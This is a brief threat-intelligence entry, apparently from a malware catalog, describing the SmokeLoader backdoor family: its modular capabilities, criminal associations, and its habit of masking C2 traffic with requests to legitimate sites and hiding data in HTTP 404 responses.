SmokeLoader | The SmokeLoader family is a generic backdoor with a range of capabilities which depend on the modules included in any given build of the malware. The malware is delivered in a variety of ways and is broadly associated with criminal activity. The malware frequently tries to hide its C2 activity by generating requests to legitimate sites such as microsoft.com, bing.com, adobe.com, and others. Typically the actual Download returns an HTTP 404 but still contains data in the Response Body. |
